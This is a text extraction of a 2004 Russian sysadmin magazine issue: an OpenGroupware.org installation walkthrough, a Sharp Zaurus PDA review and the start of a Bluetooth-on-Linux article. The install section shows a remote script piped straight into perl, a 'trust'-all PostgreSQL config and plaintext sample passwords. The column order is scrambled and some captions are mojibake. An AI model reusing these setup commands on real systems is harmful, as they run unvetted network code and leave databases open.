администрирование Server, представленный немецкой компанией Skyrix Software AG, занимавшейся разработкой этого приложения с 1996 года (до 2000 года он назывался LSOffice). Именно поэтому с самого начала это был рабочий продукт, а не прототип. Буквально за один день после анонса сайт проекта http://www.opengroupware.org посетили более чем два миллиона посетителей. Схожесть названия (да и истории возникновения) с еще одним известным Open Source-проектом – OpenOffice.org породила некоторую неразбериху. На сайте размещено примечание, что это хотя и дополняющие друг друга, но все-таки отдельные сообщества. Кроме GNU/ Linux, OGo в настоящее время портирован под BSD, GNUstep и MacOSX. Интерфейс полностью переведен на английский и немецкий, плюс ведутся разработки по локализации на датский, испанский, итальянский, французский, голландский, корейский, турецкий, японский и китайский. К сожалению, русского в этом списке нет. Все данные хранятся в обычных текстовых файлах, рисунки хранятся в отдельных файлах и используется Unicode, поэтому локализация не представляет серьезных проблем. Достаточно перевести все параметры в файлах одного из подкаталогов / opt/opengroupware.org/Resources/ и настроить клиентов на вывод в нужной кодировке. Дополнительно в помощь «Translation Project» представляет два скрипта, помогающих в переводе интерфейса (рис. 1). Но, очевидно, не каждый будет этим заниматься, и OGo обретет у нас популярность, после того как на него обратят внимание компанииразработчики ПО вроде ALTLinux.

Итак:

! Contact Management (менеджер контактов) – сохране-

!

!

!

!

!

!

!

Ðèñóíîê 1

Приложения, входящие в состав OGo Для доступа ко всем функциональным возможностям и данным проект представляет открытые, основанные на XML интерфейсы и API. При этом все функции реализуются в виде модулей, что позволяет расширять возможности по мере необходимости. Поэтому состав приложений вполне может измениться, разработчики открыты для общения.

№10(23), октябрь 2004

ние и организация персональных и групповых контактов, с широкими возможностями по поиску и оптимизации данных, с возможностью экспорта и удаленного доступа. Group Calendar (календарь) – планирование событий как персонально, так и для группы. Возможность добавления примечаний, автоматическое обнаружение конфликтов, простая настройка повторяющихся событий. Resources Planner (планировщик ресурсов) – позволяет рационально планировать использование различного имущества (автомобили, проекторы), помещений, с возможностью поиска свободных интервалов времени, автоматической проверкой конфликтов, посылки уведомлений. Task Management (менеджер задач) – организация персональных, групповых или специфических задач с возможностью их упорядочивания по приоритетам, дате, состоянию, выводом на персональной странице и уведомлением по e-mail. E-Mail Client – предлагает удобную среду для обмена e-mail посредством прямого доступа к IMAP4 и POP3серверам, с предоставлением большинства принятых в e-mail клиентах функциональных возможностей и импортом данных в менеджер контактов. Projects and Documents (проекты и документы) – единая централизованная среда, позволяющая использовать файлы и документы локально и удаленно группами пользователей или участниками отдельного проекта, с выдачей необходимых ссылок пользователям. News (новости) – доска объявлений, дает возможность публиковать необходимую информацию (правила использования, новости компании и пр.), плюс служит напоминанием о текущих задачах и служит как персональная страница. Palm Sync (синхронизация с Palm) – синхронизация данных в устройствах Palm с приложениями OGo.

Плюс ко всему имеется легко перестраиваемый пользовательский интерфейс, а администратор получает возможность удобного манипулирования пользовательскими и групповыми аккаунтами, и по настройке OGo. Клиентами OGo могут выступать не только веб-браузеры, но некоторые популярные утилиты вроде MS Outlook, kOrganizer, Mac OS/X Finder, Apple iCal.app, Ximian Evolution. Надо отметить, что OGo далеко не единственный проект такого рода, реализованный под свободные ОС или имеющие статус OpenSource. Поэтому стоит вкратце, справедливости ради, дать ссылки и на остальные решения. Тем более даже у некоторых из платных решений базовые версии, большей частью свободны. Самый известный и довольно мощный продукт SUSE Linux Openexchange Server (http:// www.suse.com/us/business/products/openexchange/index.html). Далее проект от разработчиков KDE и финансируемый правительством Германии – Kroupware (http://www.kroupware.org, на момент написания статьи ссылка не работала), DeskNow Mail and Collaboration server (http://www.desknow.com/ index.html), HyperOffice (http://www.hyperoffice.co), проект,

13


администрирование основанный на zope и qmail Amphora (http://www.amphora.ee/ eng), LinuXchangE (http://www.linuxchange.com), PHPGroupware (http://www.phpgroupware.org). В OGo подкупает размах, зрелость и самое главное – свобода с использованием открытых технологий. Именно эти качества могут привести к тому, что OGo вполне возможно и станет номером один в этом списке.

В результате образуется подкаталог rpm, содержащий 78 файлов, переходим в него: # cd rpm

Все в принципе не нужны, но какая разница. # rpm -Uvh *.rpm

Установка Если цель ваших исследований – ознакомление с этим продуктом, и имеется возможность скачать файл большого объема, то лучшим и самым быстрым вариантом получить работающую версию будет использование LiveCD, базирующегося на Knoppix (http://www.opengroupware.org/knoppix/ index.html). В этом случае можно носить его с собой для демонстрации возможностей. В любом другом случае придется немного повозиться с установкой. Но в отличие от многих других проектов, только начавших свой путь, установка особых проблем вызвать не должна, и, имея некоторый опыт общения с UNIX-системами, заставить работать OGo, безусловно, можно. Дополнительно проект в последнее время начал быстро обрастать HOWTO, в которых объясняется специфика установки для отдельного дистрибутива и готовыми скриптами, автоматизирующими процесс. Но, если почитать всю доступную документацию, можно немного запутаться, т.к. авторы HOWTO подходят поразному к самому процессу, а в предлагаемых скриптах используются разные пути и переменные. К тому же в некоторых документах указаны команды, в которых на данный момент уже нет необходимости. Как пример rpm-пакеты распаковываются в /opt/opengroupware.org (исключение – недавно появившиеся пакеты для SuSE 9.1 – /usr/local/share/ opengroupware.org-1.0a) и /opt/skyrix/, Debian в /usr/lib/ opengroupware.org, скрипты для Slackware устанавливают все в каталог вида /opt/OGo-yyyymmdd/. Хотя если почитать документацию годичной давности, то можно сделать вывод, что раньше возни было все-таки побольше. А поэтому просто необходимо быть внимательным и для начала использовать официальную (т.е. общую) документацию. Далее на странице закачки уже появились ссылки на прекомпилированные пакеты, собранные сторонними добровольцами, все в основном под glibc 2.3. Если в дистрибутиве используется более ранняя версия этой библиотеки, попробуйте собрать из исходников или обновите glibs. Как исключение имеются пакеты для RedHat 7.3 (http:// ftp.nakedape.cc/nakedape/rh73/rpm/opengroupware). Приведу пример ручной конфигурации OGo для rpm-пакетов, испробованная на SuSE 9.1, RedHat 9, Linux XР и Mandrake 10, хотя сейчас доступен Perl скрипт Kelley Graham http:// www.toasterz.com/ogo/add_remove_ogo.pl, который может сделать большую часть работы за вас (wget -q -O – http:// exchangekiller.com/install | perl и ./add_remove_ogo.pl install). Итак, прекомпилированые пакеты доступны как по отдельности, в этом случае нужно скачать все имеющие latest в названии или единым архивом, например, rpmall-latest.tar.bz2. Первым делом распаковываем архив: # tar -xzvf rpm-all-latest.tar.bz2

14

В процессе система выдает сообщения о домашнем каталоге утилиты и о создаваемых пользователях. Running post installation in root '/opt/skyrix/system' .. GNUstep root: /opt/skyrix/system ... GNUstep Root: /opt/opengroupware.org No 'skyrix' group available on the system, creating... Using group ID '321' Made a backup of the group file in '/opt/opengroupware.org/backup/200409251027' Created group 'skyrix'. No 'opengroupware' user available on the system, creating... Using user ID '56641' Made a backup of the passwd/shadow file in '/opt/opengroupware.org/backup/200409251027' Created user 'opengroupware' with UID '56641'

Далее конфигурирование PostgreSQL (подробности см. в статье Сергея Супрунова «PostgreSQL: первые шаги», журнал «Системный администратор» № 7, 2004 г.). Редактируем файл /var/lib/pgsql/data/pg_hba.conf: local host host

all all all all all all

trust 127.0.0.1 255.255.255.255 0.0.0.02 55.255.255.255

trust reject

Так советуют разработчики. Но в этом случае к базе данных получают доступ все локальные пользователи, а поэтому данную конфигурацию следует использовать только при отладке. Далее стоит безопасности ради использовать конкретного пользователя вроде: host opengroupware skyrix 127.0.0.1 255.255.255.255 trust

А лучше еще и требовать пароль для доступа. host opengroupware skyrix 127.0.0.1 255.255.255.255 ↵ passwd (èëè md5)

Да и в более ранних версиях (<=7.2) нужно использовать конструкцию с одним all. local

all

trust

Далее в файле /var/lib/pgsql/postgresql.conf должны быть такие строки. # CONNECTIONS AND AUTHENTICATION #-------------------------------------------------------# - Connection Settings tcpip_socket = true max_connections = 32 port = 5432

Перезапускаем сервер: # /etc/init.d/postgresql restart


администрирование Shutting down PostgreSQL Starting PostgreSQL

done done

Теперь создаем новую базу данных, таблицы, пользователя. # # # #

su cd /opt/opengroupware.org/Database/PostgreSQL su postgres createdb ogo

CREATE DATABASE

# createuser -A -D ogo CREATE USER

# psql ogo ogo

Allow from all </Directory> Alias /OpenGroupware.woa/WebServerResources ↵ /opt/opengroupware.org/WebServerResources # Exchange public folders URL <LocationMatch "^/zidestore/*"> SetHandler ngobjweb-adaptor SetAppPort 23000 </LocationMatch> Alias /zidestore/so/images /opt/opengroupware.org ↵ /WOApps/ZideStore.woa/WebServerResources # News Alias Alias /ArticleImages /opt/opengroupware.org/news

Перезапускаем сервер. #/etc/init.d/apache2 restart

Welcome to psql 7.4.2, the PostgreSQL interactive terminal. Type:

\copyright for distribution terms \h for help with SQL commands \? for help on internal slash commands \g or terminate with semicolon to execute query \q to quit

ogo=> \i pg-build-schema.psql

Дело сделано, выходим. ogo=> \q

Настала очередь Apache. Для начала необходимо установить модуль, находящийся по адресу: http://www.opengroup ware.org/sources/old-cvs-sources/opengroupware.org-mod_ ngobjweb-latest.tar.gz. # tar -zxvf opengroupware.org-mod_ngobjweb-latest.tar.gz # cd opengroupware.org-mod_ngobjweb

Если установлен второй Apache, то, возможно, в файле GNUmakefile придется исправить строку: HTTPD = $(APACHE)/sbin/httpd2. # make

Получаем модуль ngobjweb_x.x.xx.so, где х соответствует версии сервера. Копируем его, куда нам удобнее. # mkdir /opt/opengroupware.org/module # cp ngobjweb_2.0.40.so /opt/opengroupware.org/module

Следующим шагом редактируем /etc/apache2/httpd.conf. Здесь два варианта – занести все параметры в httpd.conf или вынести все в отдельный файл и прописать путь к нему строкой вида Include /etc/apache2/ogo.conf. Поступайте, как вам удобней.

Syntax Starting httpd2 (prefork)

OK done

Запускаем OpenGroupware. При отладке полезно давать команды прямо из консоли, тогда сразу будут видны все ошибки. #su opengroupware # echo "source /opt/opengroupware.org ↵ /OpenGroupware.org.sh" >> ~/.bash_profile # echo "export LD_ASSUME_KERNEL=2.4.1" >> ~/.bash_profile

Примечание в дистрибутивах, не использующих NTPL, последняя строка не нужна, в Fedora она будет иметь вид: export LD_ASSUME_KERNEL=2.4.19. # /opt/opengroupware.org/WOApps/OpenGroupware.woa/ix86 ↵ /linux-gnu/gnu-fd-nil/OpenGroupware ↵ -WOHttpAllowHost localhost

В первый раз система, скорее всего, не сможет найти требуемые версии библиотек и выдаст ошибки. Поэтому для начала нужно занести следующие строки в файл /etc/ ld.so.conf (для rpm-версии, в остальных случаях измените путь), после чего даем команду ldconfig. /opt/opengroupware.org/Libraries/ix86/linux-gnu/gnu-fd-nil /opt/skyrix/system/Libraries/ix86/linux-gnu/gnu-fd-nil

Для удовлетворения зависимостей в случае SuSE 9.1 необходимо дать такие команды: # ln -s /usr/lib/libldap.so.199.3.4 /usr/lib/libldap.so.2 # ln -s /usr/lib/libssl.so.0.9.7 /usr/lib/libssl.so.0.9.6 # ln -s /usr/lib/libcrypto.so.0.9.7 ↵ /usr/lib/libcrypto.so.0.9.6 # ln -s /usr/lib/liblber.so.199.3.4 /usr/lib/liblber.so.2

Если используется другой дистрибутив, то в сообщении будет указана требуемая версия. Например:

#OpenGroupware Apache Module config file. LoadModule ngobjweb_module ↵ /opt/opengroupware.org/module/ngobjweb_2.0.40.so <LocationMatch "^/OpenGroupware/*"> SetHandler ngobjweb-adaptor SetAppPort 20000 # SNSPort 127.0.0.1:20000 </LocationMatch> <Directory "/opt/opengroupware.org/WebServerResources"> Order allow,deny

№10(23), октябрь 2004

/opt/opengroupware.org/WOApps/OpenGroupware.woa/ix86/linux-gnu /gnu-fd-nil/OpenGroupware: error while loading shared libraries: liblber.so.2: cannot open shared object file: No such file or directory

А команда ls -al /usr/lib/lib* укажет на имеющуюся. Запускаем: # /opt/opengroupware.org/WOApps/OpenGroupware.woa/ix86 ↵ /linux-gnu/gnu-fd-nil/OpenGroupware -WOPort 20000 ↵ -WOHttpAllowHost localhost ↵

15


администрирование -OGoMinimumActiveSessionCount 0 -LSNewsImagesUrl ↵ '/ArticleImages' -LSNewsImagesPath ↵ /opt/opengroupware.org/news -LSConnectionDictionary ↵ {databaseName = ogo; hostName = 127.0.0.1; ↵ password = "qwerty"; port = 5432; userName = ogo} ↵ -LSAdaptor PostgreSQL72 -LSModelName ↵ OpenGroupware.org_PostgreSQL >> /var/log/ogo.log 2>&1 & # /opt/opengroupware.org/WOApps/ZideStore.woa/ix86 ↵ /linux-gnu/gnu-fd-nil/ZideStore -WOPort 23000 ↵ -WOHttpAllowHost localhost -SxExplain YES ↵ -WOCachingEnabled YES ↵ -WOHttpTransactionUseSimpleParser YES ↵ >> /var/log/ogo.log 2>&1 &

Для автоматического запуска лучше использовать initскрипт. Ничего самому писать не надо, уже имеются готовые. Для RedHat смотрите на http://toasterz.com/ogo/docs/ opengroupware, в пакете slack-all для Slackware тоже имеется готовый скрипт, другие можно найти по адресу: http:// helms-deep.cable.nu/~rwh/howtos/opengroupware, http:// exchangekiller.com/docs/opengroupware (наиболее полный), http://helms-deep.cable.nu/~rwh/howtos/opengroupware2, http:// mail.opengroupware.org/pipermail/users/2003-July/000427.html, http://www.toasterz.com/ogo/docs/run.conf. Выберите любой понравившийся, только проверьте пути. # # # #

wget -v -N http://exchangekiller.com/docs/opengroupware cp ./opengroupware /etc/init.d/ chmod u+x /etc/init.d/opengroupware ln -s /etc/init.d/opengroupware ↵ /etc/init.d/rc3.d/S20opengroupware # ln -s /etc/init.d/opengroupware ↵ /etc/init.d/rc3.d/K20opengroupware # ln -s /etc/init.d/opengroupware ↵ /etc/init.d/rc5.d/S20opengroupware # ln -s /etc/init.d/opengroupware ↵ /etc/init.d/rc5.d/K20opengroupware

Запускаем. # /etc/init.d/opengroupware start

Если теперь набрать в строке веб-браузера: http:// localhost/OpenGroupware, то получите доступ как администратор со всеми привилегиями без пароля (рис. 2), который тут же надо установить (Preferences → Edit Password) и создать остальных пользователей. Теперь при входе будет запрашиваться логин и пароль.

Ðèñóíîê 2

Тонкая настройка параметров работы сервера OGo может производиться из командной строки при запуске, путем

16

ручного редактирования конфигурационных файлов или при помощи команды Defaults. Для запуска последней выполняем от имени пользователя opengroupware команду: # source /opt/opengroupware.org/OpenGroupware.org.sh

(если она не занесена в файл ~/.bash_profile). Теперь можно работать, например, для просмотра установленных параметров используется опция read. # Defaults read { Defaults = {}; NSGlobalDomain = { "skyrix_id" = server.com; LSAdaptor = PostgreSQL72; LSAttachmentPath = "/opt/opengroupware.org/documents"; LSConnectionDictionary = { databaseName = ogo; hostName = localhost; password = "qwerty"; port = 5432; }; LSModelName = "OpenGroupware.org_PostgreSQL"; LSNewsImagesPath = "/opt/opengroupware.org/news"; LSNewsImagesUrl = "/ArticleImages"; Languages = ( English ); NGBundlePath = "/opt/opengroupware.org/Library ↵ /OpenGroupware.org"; TimeZoneName = GMT; XMLReader = libxmlSAXDriver; }; OpenGroupware = {}; skyaptnotify = { AptNotifyFromAddress = "sergej@server.com"; AptNotifySkyrixUser = root; AptNotifySkyrixPassword = khjds5d; }; }

Параметр write установит указанный ключ, delete удалит значение. Например: # Defaults write NSGlobalDomain LSConnectionDictionary ↵ '{hostName=localhost; userName=ogo; ↵ password="12345"; port=5432; databaseName=ogo}' # Defaults write NSGlobalDomain NGBundlePath ↵ "/opt/opengroupware.org/Library/OpenGroupware.org" # Defaults write NSGlobalDomain LSAttachmentPath ↵ /opt/opengroupware.org/documents

Настройка для работы с LDAP описана в документе «Active Directory Authentication Mini-HOWTO», интеграция с телефонными системами в «Telephony Integration with OGo», которые доступны на сайте. Средства обеспечения коллективной работы помогают оптимизировать рабочее время сотрудников, позволяя лучше управлять свободным временем, распределять задачи, эффективней использовать информацию. Миру Open Source не хватало готового полноценного продукта. Теперь эта ситуация изменилась. Если почитать отзывы о тестировании OGo годичной давности, то несмотря на сырость программы, отмечалось, что это готовый и, самое главное, своевременный продукт. За последнее время убраны некоторые шероховатости, намечены разработки на будущее, проект оброс документацией, несколькими подпроектами и армией пользователей. Возможно, кто-то предпочтет использовать OpenGroupware.org вместо популярных сегодня платных и отнюдь не дешевых решений.


администрирование

ИДЕАЛЬНЫЙ КАРМАННЫЙ КОМПЬЮТЕР ДЛЯ СИСТЕМНОГО АДМИНИСТРАТОРА ЧАСТЬ 1

АНДРЕЙ МАРКЕЛОВ За более чем пять лет общения с карманными компьютерами на платформах PalmOS и PocketPC я уже привык к мысли о том, что, хотя «карманник» и может значительно облегчить повседневную работу системного администратора, но полноценно заменить ноутбук при диагностике и устранении неисправностей в работе сетей не в состоянии. В первую очередь это обусловлено «урезанностью» операционной системы, заточенной под функции управления персональной информацией (PIM), и ограниченной функциональностью устройств ввода/вывода. Кроме того, сказывается отсутствие развитого программного обеспечения, удовлетворяющего потребности системного администратора. И хотя к трудностям работы с виртуальной клавиатурой можно привыкнуть, а число программ благодаря стараниям энтузиастов постоянно увеличивается, ни устройства на базе PocketPC, ни тем более устройства, работающие под управлением PalmOS, не в состоянии выступать в роли удобного и полноценного инструмента сисадмина. Некоторый свой опыт использования PocketPC в качестве инструмента IT-специалиста я обобщил в статье, с которой можно ознакомиться по адресу: www.markelov.net/ppc1.html. Но и операционка Microsoft вслед за PalmOS для меня осталась в прошлом.

делками пользоваться огромным накопленным фондом свободного ПО для UNIX-подобных систем. Ну и наконец, вчетвертых, такой КПК не должен уступать в плане реализации своих прямых функций (органайзер, проигрывание музыки и видео, игры и так далее) конкурентам из стана PalmOS и PocketPC. Как оказалось, в реальности такое устройство «вполне имеет место быть». Называется оно Sharp Zaurus SL-C860 и работает под управлением специализированной версии Linux (рис. 1). При первой же возможности приобрести данного «зверя» в личное пользование, я не преминул ею воспользоваться. А в данной статье хочу несколько обобщить опыт его эксплуатации.

Аппаратное обеспечение Начну описание с аппаратной части, дабы стали понятны объективные ограничения, с которыми столкнется линуксоид, севший за клавиатуру Zaurus. Хотя в случае с карманным компьютером правильнее было бы сказать «взявшего в руки» клавиатуру – при работе с «карманником» на весу вы держите его именно за нижнюю часть, на которой и расположена клавиатура.

Ðèñóíîê 2. Ïîõîäíûé íàáîð ñèñàäìèíà. ÊÏÊ, Wi-Fi-êàðòà D-Link DCF-660W è Ethernet-êàðòà TRENDnet TE-CF100 Ðèñóíîê 1. ÊÏÊ Zaurus

Каким же видится мне идеальный карманный компьютер, способный удовлетворить потребности IT-специалиста? Ну, во-первых, хотелось бы иметь установленную операционную систему с развитой поддержкой сети. Во-вторых, экран с разрешением не менее 640 на 480 точек и удобную, но не большую клавиатуру для комфортной работы с командной строкой. В-третьих, желательна возможность без переделок исходного кода или с его минимальными пере-

№10(23), октябрь 2004

«Железо» вполне соответствует сегодняшним стандартам для КПК. На борту машинки установлен процессор Intel XScale PXA 255, работающий с тактовой частотой в 400 МГц. Память делится на ОЗУ, объемом в 64 Мб и энергонезависимую Flash-память, играющую роль ПЗУ и «винчестера» одновременно. Диагональ экрана равняется 3,7". Как я уже писал, разрешение матрицы дисплея 640 на 480 точек, а число отображаемых цветов равняется 65 тысячам. Говоря об экране, нельзя не упомянуть возможность последнего

17


администрирование поворачиваться, и складываться поверх клавиатуры. При этом «клавиатурник» превращается в безклавиатурную машинку, что достаточно удобно, например, в метро для просмотра фильмов и для чтения электронных книг. Имеются разъемы для подключения карт расширения стандартов Compact Flash type I,II и SD/SDC/MMC. Первый разъем можно использовать для оснащения вашего КПК сетевой или Wi-Fi-карточкой, а второй – для расширения памяти устройства. К персональному компьютеру Zaurus подключается посредством USB-шнура. Также присутствует ИК-порт. Вес устройства – 250 грамм. Теперь несколько слов о клавиатуре. На Zaurus она удивительно удобная для своих небольших размеров, и обеспечивает вполне комфортную работу. Достаточно сказать, что эту статью я набирал и редактировал именно на Zaurus, в среде встроенного текстового редактора Hancom Mobile Word. Конечно, ограниченное число кнопок клавиатуры, а именно 59, заставило разработчиков софта «навесить» по несколько символов на каждую клавишу. С другой стороны, наверняка многие из читателей в свое время имели дело с замечательным домашним компьютером ZX-Spectrum. Клавиатура ZX-Spectrum и вовсе имела 48 кнопок, что нисколько не мешало полноценной работе с этим ПК. Наконец после краткого знакомства с «начинкой» аппарата перейдем к основной части нашего обзора – описанию того, чем же кардинально выделяется данный карманный компьютер из числа конкурентов, а именно, программной части.

только испытаю на личном опыте, постараюсь отразить впечатление от работы с ней на страницах журнала. По отзывам же в форумах эта версия ROM менее приспособлена к функциям КПК, и пытается сделать из Zaurus подобие маленького ноутбука. В дальнейшем, говоря о функционировании и использовании карманного компьютера, я буду опираться на «Макцентровскую» версию, которая мне досталась уже предустановленной на КПК. Включив карманный компьютер, пользователь прямиком попадает в графическую оболочку для мобильных компьютеров Qtopia (версии 1.5.4). Интерфейс представлен в виде нескольких закладок, содержащих иконки графических приложений. Нужно заметить, что после установки консольных утилит иконки не добавляются – доступ к ним вы получите, только зайдя в консоль. По умолчанию присутствуют закладки: приложения, игры, мультимедиа, Интернет, PIM, настройки, файлы.

Особенности Linux на Zaurus Говоря о Linux на Zaurus, «завроводы» обычно указывают версию прошивки ROM. Пользователь может самостоятельно обновлять и модифицировать операционную систему, находящуюся во flash-памяти, поэтому в настоящее время получили распространение несколько версий ROM для КПК. Большинство из них работает под управлением графического интерфейса Qtopia разработки Trolltech. Во-первых, это оригинальная версия прошивки от Sharp на японском языке, которая по понятным причинам не получила распространения ни в России, ни в англоязычных странах. Во-вторых, это разрабатываемая на основе оригинальной версии «англофицированная» прошивка Cacko ROM, которая вполне корректно работает с русским языком вследствие русскоязычности некоторых членов Cacko Team. Данную прошивку можно скачать в Интернете бесплатно. В-третьих, – платный вариант немного устаревшей версии предыдущего ROM с русифицированным интерфейсом, распространяемый компанией «МакЦентр». В-четвертых, платный англоязычный tkROM, о котором я не могу ничего сказать, кроме того, что он существует. Ну и наконец – это ROM, в отличие от всех остальных базирующийся не на графическом интерфейсе Qtopia, а на адаптированной версии X Windows. Разрабатывается он командой Cacko и, как и их прошивка под Qtopia, абсолютно бесплатен. С сайта Cacko Team можно также скачать ряд уже скомпилированного для Zaurus софта, в частности, AbiWord, Fierfox, и другое ПО, перенесенное с «большого» Linux. Сам я пока эту прошивку не пробовал, но как

18

Ðèñóíîê 3. Ãðàôè÷åñêàÿ îáîëî÷êà

В разделе управления персональной информацией присутствуют приложения: адресная книга, дела и календарь, которые в целом по своему функционалу аналогичны соответствующим приложениям для КПК на платформах PalmOS и Windows Mobile. В разделе «Интернет» находятся две иконки: браузер Opera 7.0 и клиент электронной почты.

Ðèñóíîê 4. Áðàóçåð Opera


администрирование Вкладка «Мультимедиа» содержит проигрыватели музыки, видео и программу звукозаписи. «Из коробки» установленный софт позволяет проигрывать видео в формате DivX, а музыку в MP3. Самое большое число программ вынесено на вкладку «Приложения». Простые редакторы текста и графики, калькулятор, иконка «Консоль», обеспечивающая доступ к командной строке, просмотрщик презентаций, а также два достаточно продвинутых редактора HancomWord и HancomSheet, соответственно совместимые с Microsoft Word и Excel по форматам файлов.

«только чтение», что сделано для придания наладоннику некоего запаса прочности и защиты от попыток ввода рекурсивного rm на корневой системе. Правда, если ввести команду типа mount -o remount,rw /

у вас все же появится возможность испортить ФС. В качестве последнего «форпоста» имеются еще два запасных раздела с еще одной «спасательной» минимальной корневой системой, и раздел, содержащий основное и запасное ядро Linux. При нормальной работе КПК эти два раздела не смонтированы. По умолчанию на Zaurus установлены Samba и SSH-сервера, которые упрощают взаимодействие КПК с настольным компьютером. Кроме того, вы можете установить на Zaurus сервер VNC и полностью управлять «карманником» по сети с персонального компьютера.

Ðèñóíîê 5. HancomWord

Оставшиеся две вкладки – это «Настройки» и «Файлы». На первую вынесены все опции управления КПК, в том числе и оболочка для установки пакетов с дополнительным программным обеспечением. Вторая же представляет из себя встроенный в Qtopia файловый менеджер, видящий файлы, правда, только внутри домашней директории. Однако его можно «обмануть», создав симлинк на корень файловой системы внутри домашнего каталога. Запустив из консоли команду uname -a (кстати, вы вполне можете зайти на Zaurus через ssh, по умолчанию поднятом на КПК) мы получим следующий вывод: $ uname -a Linux zaurus 2.4.18-rmk7-pxa3-embedix #1, 11 2003 00:01:53 +0000 armv5tel unknown

С версией ядра ясно. Теперь разберемся с файловой системой. В её качестве используется jffs2 (включена в официальное ядро Linux с версии 2.4.10), которая является журналируемой файловой системой, разработанной специально для встраиваемых систем. Подробнее ознакомиться с информацией, касающейся jffs2, можно по ссылке на сайте компании Red Hat (sources.redhat.com/jffs2), которая собственно и разработала данную файловую систему, основываясь на оригинальной jffs от Axis Communications AB. Помимо jffs2 в ядро Zaurus включена поддержка fat и ext3, которые можно использовать, например, при работе с картами расширения памяти SD и CF. Особенностью организации иерархической структуры файловой системы является то, что некоторые каталоги, в частности /etc, /usr/bin, /usr/lib, на самом деле не что иное, как символические ссылки на соответствующие каталоги внутри /home. Корневая же система монтируется в режиме

№10(23), октябрь 2004

Ðèñóíîê 6. Ñåòü

В заключение хотелось бы сказать, что общение с устройством оставляет двоякое впечатление. С одной стороны, богатые возможности программного и аппаратного обеспечения, а с другой стороны, частая необходимость «доводки напильником» самого необходимого софта, о возможных проблемах которых не задумываются пользователи других платформ. Наиболее типичный пример – русификация ICQ. Учитывая нетривиальность решения многих проблем и необходимость обращаться к консоли, я бы мог порекомендовать данный КПК исключительно IT-специалистам, для которых Zaurus в сочетании с WiFi- или Ethernetадаптером может стать незаменимым инструментом. В следующем номере журнала я расскажу об особенностях установки софта на Zaurus и подводных камнях, с которыми может столкнуться пользователь. При первом же знакомстве с КПК Zaurus SL-С860 и в процессе подготовке данной статьи большим подспорьем для меня оказались материалы с форумов zaurususergroup.com и www.hpc.ru, без использования которых процесс знакомства со спецификой «карманного» Linux затянулся бы на гораздо более длительный срок. С темами этих форумов я в первую очередь рекомендую ознакомиться читателям, задумавшимся о приобретении или уже купившим этот замечательный гаджет.

19


администрирование

BLUETOOTH + LINUX, ИЛИ СИНИЙ ЗУБ НА СЛУЖБЕ CИСТЕМНОГО АДМИНИСТРАТОРА

АНДРЕЙ БЕШКОВ Некоторое время назад у меня возникла необходимость по выходным дням наведываться через Интернет в локальную сеть моего работодателя. Казалось бы, решение вопроса банально. Купить простенький модем, присоединить его к своей домашней телефонной линии и с помощью обычного десктопа делать то, что нужно. Но душа просила чего-то более удобного и мобильного. И тогда было решено подружить между собой мои служебные железки – ноутбук Samsung p25 и мобильный телефон Nokia 6310i. Побродив по просторам сети и посмотрев, как народ решает подобные проблемы, я уже было подумал купить себе соединительный кабель Nokia, прицепить его к последовательному порту и через него работать с GSM-модемом, встроенным в телефон. Но потом в голову стали приходить мысли о том, что фирменный соединительный кабель, в отличие от китайских подделок, – штука дорогая, к тому же при смене модели телефона кабель становится для меня совершенно бесполезен. Поэтому пришлось перейти ко второму варианту подключения – к использованию инфракрасной связи IrDA (Infrared Direct Access). Благо соответствующий функционал был встроен и в телефон, и в ноутбук. Но и тут не обошлось без недостатков. Во-первых, существует ограничение по радиусу действия. Во-вторых, устойчивое взаимодействие устройств возможно только в зоне прямой видимости, что не очень легко выполнить на рабочем столе, заваленном книгами и распечатками. К тому же глазки IrDAизлучателей должны быть направлены строго друг на друга и при этом желательно, чтобы приборы не двигались. Следовать этим требованиям, конечно, возможно, но уж слишком неудобно себя чувствуешь, да и мобильность какая-то ненастоящая получается. Немного подумав, я пришел к выводу, что самым лучшим выходом из сложившейся ситуации будет использование Bluetooth. Телефон был готов к такому применению, а вот с ноутбуком вышла промашка. На его корпусе среди

20

прочих полезных сведений о комплектации виднелась надпись, поначалу внушившая надежду: «Поддержка Memory Stick Slot и Bluetooth». А еще ниже мелким шрифтом значилось «опция», и, как всегда, эта загадочная дама со странным именем обошла нас своей благосклонностью. Итак, решено: будем покупать Bluetooth USB адаптер, в англоязычной документации называемый Bluetooth USB dongle, а в просторечии «синий свисток». В связи с тем, что на ноутбуке установлены две операционные системы, встает вопрос, какой именно адаптер покупать. С Windows проблем, скорее всего, не будет, потому как большинство производителей оборудования затачивает свои изделия именно под эту ОС. А вот с Linux крепкой дружбы никто не обещал. Список оборудования, которое удалось заставить нормально работать под Linux, можно посмотреть тут: http://www.holtmann.org/linux/bluetooth/devices.html. В нашем случае особое внимание стоит уделить разделу «Bluetooth USB adapters». Проанализировав прочитанное, пришел к выводу, что самой выгодной покупкой по соотношению цена-качество будет адаптер BT009X, производимый тайваньской фирмой Bluetake Technology. Купленное устройство выглядело изящно, миниатюрно и весило примерно грамм 50. Не удержавшись, конечно разобрал его, посмотрел, что внутри.


администрирование Удовлетворив любопытство, самое время вернуться к предмету нашего разговора.

История появления Bluetooth и механизмы его действия Началось все примерно тысячу лет назад. В середине X века Данией правил король – викинг Гарольд I по прозвищу Синий зуб. Он провозгласил девиз «объединяйтесь все» и собственноручно стал осуществлять его. Благодаря стараниям короля множество разрозненных княжеств объединились в сильное государство, завладевшее к тому же частью земель Швеции и Норвегии. В 1994 году компания Ericsson задалась целью придумать способ соединения различных устройств с помощью беспроводной связи. К началу 1997 года разработки, ведущиеся внутри фирмы, начали приносить первые результаты. Было принято решение о начале переговоров с остальными крупными производителями телекоммуникационного оборудования. Весной 1998 года компании Intel, IBM, Nokia, Ericsson и Toshiba объявили о начале совместных работ по созданию универсального стандарта коммуникаций для бытовых устройств. В честь доблестного короля – объединителя викингов стандарт решено было назвать Bluetooth, а само содружество рабочих групп компаний получило обозначение Bluetooth Special Interest Group (BSIG). Постепенно принять участие в начинании и присоединиться к BSIG решили Lucent, Motorola, Sun Microsystems, 3Com, Agere, Microsoft и многие другие производители разнородного оборудования и программного обеспечения. На данный момент ассоциация разработчиков Bluetooth насчитывает более двух тысяч компаний разного масштаба и несколько десятков тысяч волонтеров, принимающих участие в работе над проектом. В сущности идея проекта довольно проста: необходимо стандартизировать механизмы соединения всех видов сотовых телефонов, компьютеров, наладонников, гарнитур hands-free и прочего движимого и недвижимого оборудования. Добиться этого можно, если отделить механизмы реализации связи между устройствами от самих устройств. Пусть проблемами общения занимаются миниатюрные радиоинтерфейсы, встроенные в каждый прибор. Они работают на частоте 2,45 ГГц ISM (Industrial-Scientific-Medical). В большинстве стран для вещания в этом диапазоне не требуется дополнительного 